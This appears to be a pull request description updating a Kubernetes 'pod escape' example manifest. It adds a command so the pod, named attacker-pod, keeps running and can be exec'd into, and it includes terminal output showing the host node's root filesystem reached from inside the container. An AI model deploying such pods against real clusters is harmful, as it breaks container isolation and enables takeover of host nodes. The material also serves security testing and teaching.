docs: update pod escape manifest with command

[ariyonaty]

Ahoy!

Just a small update to the pod spec manifest for escaping from Kubernetes pod to the host node. Currently, there isn't a command field defined. This results in the pod immediately exiting to a "Completed" status, which means one cannot follow up with a kubectl exec. See snippet below:

controlplane $ k get pods
NAME           READY   STATUS              RESTARTS   AGE
attacker-pod   0/1     ContainerCreating   0          2s
controlplane $ k get pods -w
NAME           READY   STATUS              RESTARTS   AGE
attacker-pod   0/1     ContainerCreating   0          4s
attacker-pod   0/1     Completed           0          4s
attacker-pod   0/1     Completed           0          5s
controlplane $ kubectl exec -it attacker-pod -- bash
error: cannot exec into a container in a completed pod; current phase is Succeeded
controlplane $ 

This PR updates the example with a command to keep the pod running indefinitely, allowing the user to exec and escape the pod. Post-change snippet below:

controlplane $ k apply -f pod.yaml 
pod/attacker-pod created
controlplane $ k get pods -w
NAME           READY   STATUS              RESTARTS   AGE
attacker-pod   0/1     ContainerCreating   0          1s
attacker-pod   1/1     Running             0          2s
controlplane $ kubectl exec -it attacker-pod -- sh
/ # ls /root/
bin         dev         home        lib32       libx32      media       opt         root        sbin        srv         sys         usr
boot        etc         lib         lib64       lost+found  mnt         proc        run         snap        swapfile    tmp         var
/ # 

Cheers!